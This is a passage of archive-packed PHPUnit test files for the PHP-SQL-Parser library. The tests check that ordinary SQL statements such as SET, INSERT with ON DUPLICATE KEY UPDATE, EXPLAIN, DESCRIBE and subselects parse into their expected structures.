 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue67Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue67() {


        $sql = "SET SESSION group_concat_max_len = @@max_allowed_packet";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue67a.serialized');
        $this->assertEquals($expected, $p, '@ character after operator should not fail.');

        $sql = "SET @a = 1";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue67b.serialized');
        $this->assertEquals($expected, $p, 'user defined variables should not fail');

    }
}

PK     \"    ?  vendor/greenlion/php-sql-parser/tests/cases/parser/issue219.phpnu [        <?php
/**
 * issueX.php
 *
 * Test case for PHPSQLParser.
 *
 *
 */
namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class issue219Test extends \PHPUnit\Framework\TestCase {

	/**
	 * https://github.com/greenlion/PHP-SQL-Parser/issues/219
	 */
	public function testIssu219() {
		$sql = "INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('some_key', 'some_value', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`);";

		$parser = new PHPSQLParser();

		// The issue only happens when calculating positions
		// As the parsed elements after ON DUPLICATE KEY UPDATE are trimmed, e.g. option_name`=VALUES(`option_name`)
		/*
		 * PHPSQLParser\exceptions\UnableToCalculatePositionException: cannot calculate position of `option_name`=VALUES(`option_name`) within  `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`);
		 */
		$parser->parse( $sql, true );
		$parsed = $parser->parsed;

		$this->assertNotFalse( $parsed );
		$this->assertTrue( is_array( $parsed ) );
		$expected = getExpectedValue( dirname( __FILE__ ), 'issue219.serialized', false );
		$this->assertEquals( $expected, serialize( $parsed ) );
	}
}

PK     \,>    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue122Test.phpnu [        <?php
/**
 * issue122.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue122Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue122() {


        $sql = "UPDATE db.`tablename` SET a=1";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue122.serialized');
        $this->assertEquals($expected, $p, 'no_quotes property has been corrected');

    }
}

PK     \K	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue320Test.phpnu [        <?php
/**
 * issue320.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue320Test extends \PHPUnit\Framework\TestCase
{
    public function test_no_warning_is_issued_when_help_table_is_used()
    {
        $parser = new PHPSQLParser();
        $sql = 'SELECT * FROM help';

        // there currently is an exception because `HELP` is a keyword
        // but this query seems valid at least in mysql and mssql
        // so ideally PHPSQLParser would be able to parse it
        $this->expectException(
            '\PHPSQLParser\exceptions\UnableToCalculatePositionException'
        );

        $parser->parse($sql, true);
    }
}
PK     \nR  R  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue277Test.phpnu [        <?php
/**
 * issue265.php
 *
 * Test case for PHPSQLCreator.
 */

namespace PHPSQLParser\Test\Parser;

use PHPSQLParser\PHPSQLParser;

class issue277Test extends \PHPUnit\Framework\TestCase {

	public function testIssue277() {
		/*
		 * https://github.com/greenlion/PHP-SQL-Parser/issues/277
		 * Escape chars not trimmed from DELETE
		 */
		$sql      = "DELETE \n\t\t\t\tFROM wp_posts WHERE id = 123";
		$parser   = new PHPSQLParser( $sql );
		$expected = getExpectedValue( dirname( __FILE__ ), 'issue277.serialized' );
		$this->assertEquals( $expected, $parser->parsed, 'DELETE FROM' );
	}
}
PK     \p-    D  vendor/greenlion/php-sql-parser/tests/cases/parser/subselectTest.phpnu [        <?php
/**
 * subselect.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class subselectTest extends \PHPUnit\Framework\TestCase {
	
    public function testSubselect() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT (select colA FRom TableA) as b From test t';
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'subselect1.serialized');
        $this->assertEquals($expected, $p, 'sub-select with alias');


        $sql = 'SELECT a.uid, a.users_name FROM USERS AS a LEFT JOIN (SELECT uid AS id FROM USER_IN_GROUPS WHERE ugid = 1) AS b ON a.uid = b.id WHERE id IS NULL ORDER BY a.users_name';
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'subselect2.serialized');
        $this->assertEquals($expected, $p, 'sub-select as table replacement with alias');

		$sql = "SELECT (-- comment\nselect colA FRom TableA) as b From test t";
		$p = $parser->parse($sql);
		$expected = getExpectedValue(dirname(__FILE__), 'subselect3.serialized');
		$this->assertEquals($expected, $p, 'sub-select starting with a comment');
    }
}

PK     \B
  
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue50Test.phpnu [        <?php
/**
 * issue50.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue50Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue50() {


        // TODO: not solved, charsets are not possible at the moment
        $parser = new PHPSQLParser();

        $sql = "SELECT _utf8'hi'";
        $parser->parse($sql, false);
        $p = $parser->parsed;
        #setExpectedValue(dirname(__FILE__), 'issue50.serialized', $p);
        $expected = getExpectedValue(dirname(__FILE__), 'issue50.serialized');
        $this->assertEquals($expected, $p, 'does not die if query contains _utf8');


        $sql = "SELECT _utf8'hi' COLLATE latin1_german1_ci";
        $parser->parse($sql, false);
        $p = $parser->parsed;

        // hex value
        $sql = "SELECT _utf8 x'AABBCC'";
        $sql = "SELECT _utf8 0xAABBCC";

        // binary value
        $sql = "SELECT _utf8 b'0001'";
        $sql = "SELECT _utf8 0b0001";

    }
}

PK     \ҥ    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue78Test.phpnu [        <?php
/**
 * issue78.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue78Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue78() {


        $parser = new PHPSQLParser();

        $sql = "EXPLAIN EXTENDED SELECT * FROM foo.bar";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue78a.serialized');
        $this->assertEquals($expected, $p, 'explain select');

        $sql = "EXPLAIN SELECT * FROM foo.bar";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue78b.serialized');
        $this->assertEquals($expected, $p, 'explain select');

        $sql = "EXPLAIN foo bar";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue78c.serialized');
        $this->assertEquals($expected, $p, 'explain table');

        $sql = "DESCRIBE foo bar%";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue78d.serialized');
        $this->assertEquals($expected, $p, 'describe table');

        $sql = "DESC FORMAT = JSON DELETE FROM tableA WHERE x=1";
        $p = $parser->parse($sql, true);
        $expected = getExpectedValue(dirname(__FILE__), 'issue78e.serialized');
        $this->assertEquals($expected, $p, 'describe delete');

    }
}

PK     \0C
  
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue25Test.phpnu [        <?php
/**
 * issue25.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue25Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue25() {


        $parser = new PHPSQLParser();

        $sql = "SELECT * FROM contacts WHERE contacts.id IN (SELECT email_addr_bean_rel.bean_id FROM email_addr_bean_rel, email_addresses WHERE email_addresses.id = email_addr_bean_rel.email_address_id AND email_addr_bean_rel.deleted = 0 AND email_addr_bean_rel.bean_module = 'Contacts' AND email_addresses.email_address IN (\"test@example.com\"))";
        $p = $parser->parse($sql);
        $expected = getExpectedValue(dirname(__FILE__), 'issue25.serialized');
        $this->assertEquals($expected, $p, 'parenthesis problem on issue 25');

    }
}

PK     \E=	  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue52Test.phpnu [        <?php
/**
 * issue52.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue52Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue52() {


        $parser = new PHPSQLParser();

        $sql = "SELECT a FROM b WHERE c IN (1, 2)";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue52.serialized');
        $this->assertEquals($expected, $p, 'should not die if query contains IN clause');

    }
}

PK     \c,	  ,	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue68Test.phpnu [        <?php
/**
 * issue68.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue68Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue68() {


        $sql = "select a.`admin_id` FROM admins a WHERE a.admin_username=? AND a.admin_password=?";
        $parser = new PHPSQLParser($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue68.serialized');
        $this->assertEquals($expected, $p, 'Parameter alias ? should not fail.');

    }
}

PK     \!|s`	  	  C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue299Test.phpnu [        <?php
/**
 * issue299.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue299Test extends \PHPUnit\Framework\TestCase
{
    public function testIssue299()
    {
        $parser = new PHPSQLParser();
        $sql = 'SELECT (1 + 2) AS THREE, (1 + 3) AS FOUR';
        $parser->parse($sql, true);
        $creator = new PHPSQLCreator($parser->parsed);
        $this->assertEquals(
            'SELECT (1 + 2) AS THREE, (1 + 3) AS FOUR',
            $creator->created
        );
    }
}
PK     \    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue82Test.phpnu [        <?php
/**
 * issue82.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
